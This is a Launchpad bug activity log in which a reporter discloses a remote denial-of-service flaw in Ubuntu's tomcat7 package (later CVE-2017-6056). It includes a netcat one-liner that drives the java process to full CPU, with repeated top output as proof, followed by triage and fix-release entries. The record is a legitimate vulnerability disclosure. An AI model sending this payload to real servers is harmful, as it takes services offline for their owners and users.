Activity log for bug #1663318

Date Who What changed Old value New value Message
2017-02-09 17:10:48 Hernán Lucas Pereira bug added bug
2017-02-09 19:32:59 Hernán Lucas Pereira description I've been noticing during the last week that java process was using 100% CPU and after upgrading twice already the bug persisted. After keeping tcpdump in the background for about two days I managed to find the payload that triggers this bug. To reproduce use the following command: printf "\0x05\0x02\0x00\0x02" | nc host_here 8080 The more times you send the payload, the more CPU will be used as can be seen on my quad core system below (please note this can be exploited remotely, I'm doing it from the server itself for clarity): -------------------------------------- $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.5 LTS Release: 14.04 Codename: trusty $ sudo service tomcat7 restart * Stopping Tomcat servlet engine tomcat7 [ OK ] * Starting Tomcat servlet engine tomcat7 [ OK ] $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn 1 | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 17:01:04 GMT Connection: close 0 top - 14:01:09 up 1:04, 1 user, load average: 1.86, 0.97, 0.48 Tasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie %Cpu(s): 5.9 us, 0.1 sy, 0.0 ni, 93.1 id, 0.9 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 374644 used, 1671340 free, 23272 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 147784 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1942 tomcat7 20 0 2110000 129088 18748 S 103.7 6.3 0:26.10 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.18 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn 1 | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 17:01:12 GMT Connection: close 0 top - 14:01:17 up 1:05, 1 user, load average: 1.87, 0.99, 0.49 Tasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie %Cpu(s): 5.9 us, 0.1 sy, 0.0 ni, 93.0 id, 0.9 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 374684 used, 1671300 free, 23280 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 147784 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1942 tomcat7 20 0 2110000 129012 18748 S 195.5 6.3 0:39.13 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.18 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn 1 | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 17:01:19 GMT Connection: close 0 top - 14:01:24 up 1:05, 1 user, load average: 1.97, 1.04, 0.51 Tasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie %Cpu(s): 6.1 us, 0.1 sy, 0.0 ni, 92.9 id, 0.9 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 375928 used, 1670056 free, 23280 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 147784 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1942 tomcat7 20 0 2110000 130104 18748 S 299.6 6.4 0:59.01 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.18 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn 1 | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 17:01:26 GMT Connection: close 0 top - 14:01:31 up 1:05, 1 user, load average: 2.13, 1.09, 0.53 Tasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie %Cpu(s): 6.2 us, 0.1 sy, 0.0 ni, 92.7 id, 0.9 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 375992 used, 1669992 free, 23296 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 147784 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1942 tomcat7 20 0 2110000 130364 18748 S 397.4 6.4 1:26.01 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.18 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd -------------------------------------- Please let me know if I can assist you solving this problem. I'll probably upgrade to Ubuntu 16.04 LTS next week which hopefully it won't be vulnerable to this bug. Thanks I've been noticing during the last week that java process was using 100% CPU and after upgrading twice already the bug persisted. After keeping tcpdump in the background for about two days I managed to find the payload that triggers this bug. To reproduce use the following command: printf "\0x05\0x02\0x00\0x02" | nc host_here 8080 The more times you send the payload, the more CPU will be used as can be seen on my quad core system below (please note this can be exploited remotely, I'm doing it from the server itself for clarity): -------------------------------------- $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.5 LTS Release: 14.04 Codename: trusty $ sudo service tomcat7 restart * Stopping Tomcat servlet engine tomcat7 [ OK ] * Starting Tomcat servlet engine tomcat7 [ OK ] $ top -bn2 | awk '/^top/{i++}i>1' | head top - 16:24:10 up 3:28, 1 user, load average: 0.33, 0.12, 0.27 Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.1 us, 0.3 sy, 0.0 ni, 99.3 id, 0.2 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 387092 used, 1658892 free, 28096 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 43 root 20 0 0 0 0 S 1.0 0.0 0:42.37 kworker/3:1 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 19:24:18 GMT Connection: close 0 top - 16:24:26 up 3:28, 1 user, load average: 0.41, 0.15, 0.28 Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie %Cpu(s): 25.1 us, 0.1 sy, 0.0 ni, 74.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 388316 used, 1657668 free, 28112 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3139 tomcat7 20 0 2043436 129548 18504 S 100.1 6.3 0:29.59 java 1047 root 20 0 19196 2056 1828 S 0.3 0.1 0:00.63 irqbalance 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 19:24:28 GMT Connection: close 0 top - 16:24:37 up 3:28, 1 user, load average: 0.65, 0.21, 0.29 Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie %Cpu(s): 50.0 us, 0.0 sy, 0.0 ni, 49.9 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 388484 used, 1657500 free, 28128 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152380 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3139 tomcat7 20 0 2043436 129548 18504 S 199.9 6.3 0:47.96 java 7 root 20 0 0 0 0 S 0.3 0.0 0:02.07 rcu_sched 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 19:24:39 GMT Connection: close 0 top - 16:24:47 up 3:28, 1 user, load average: 1.01, 0.31, 0.32 Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie %Cpu(s): 75.1 us, 0.1 sy, 0.0 ni, 24.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 389984 used, 1656000 free, 28136 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3139 tomcat7 20 0 2043436 129548 18504 S 300.0 6.3 1:16.73 java 1 root 20 0 33480 4008 2640 S 0.3 0.2 0:01.22 init 41 root 20 0 0 0 0 S 0.3 0.0 0:00.54 kworker/1:1 $ printf "\0x05\0x02\0x00\0x02" | nc -w 5 localhost 8080; top -bn2 | awk '/^top/{i++}i>1' | head HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 09 Feb 2017 19:24:49 GMT Connection: close 0 top - 16:24:57 up 3:28, 1 user, load average: 1.47, 0.43, 0.36 Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie %Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 390632 used, 1655352 free, 28152 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3139 tomcat7 20 0 2110000 129552 18504 S 399.1 6.3 1:54.82 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd $ sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head top - 16:30:24 up 3:34, 1 user, load average: 3.99, 2.81, 1.46 Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie %Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 2045984 total, 397628 used, 1648356 free, 28392 buffers KiB Swap: 2097148 total, 0 used, 2097148 free. 152400 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3139 tomcat7 20 0 2110000 139104 18504 S 400.0 6.8 23:42.48 java 1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd -------------------------------------- Please let me know if I can assist you solving this problem. I'll probably upgrade to Ubuntu 16.04 LTS next week which hopefully it won't be vulnerable to this bug. Thanks
2017-02-11 15:04:11 Hernán Lucas Pereira attachment added Terminal output running the script https://bugs.launchpad.net/ubuntu/+source/tomcat7/+bug/1663318/+attachment/4817010/+files/terminal.txt
2017-02-12 01:49:25 Seth Arnold bug added subscriber Mark Thomas
2017-02-12 16:55:12 Hernán Lucas Pereira attachment added terminal-xenial.txt https://bugs.launchpad.net/ubuntu/+source/tomcat7/+bug/1663318/+attachment/4817553/+files/terminal-xenial.txt
2017-02-12 18:29:08 Mark Thomas bug watch added https://bz.apache.org/bugzilla/show_bug.cgi?id=57544
2017-02-12 19:11:44 Hernán Lucas Pereira attachment added terminal-jessie.txt https://bugs.launchpad.net/ubuntu/+source/tomcat7/+bug/1663318/+attachment/4817638/+files/terminal-jessie.txt
2017-02-13 22:18:49 Seth Arnold bug watch added http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851304
2017-02-13 22:18:49 Seth Arnold bug task added debian
2017-02-13 22:18:56 Seth Arnold information type Private Security Public Security
2017-02-13 22:57:49 Bug Watch Updater debian: status Unknown Confirmed
2017-02-15 11:52:19 Bug Watch Updater debian: status Confirmed Fix Released
2017-02-20 17:55:12 Launchpad Janitor tomcat7 (Ubuntu): status New Fix Released
2017-02-20 17:55:12 Launchpad Janitor cve linked 2017-6056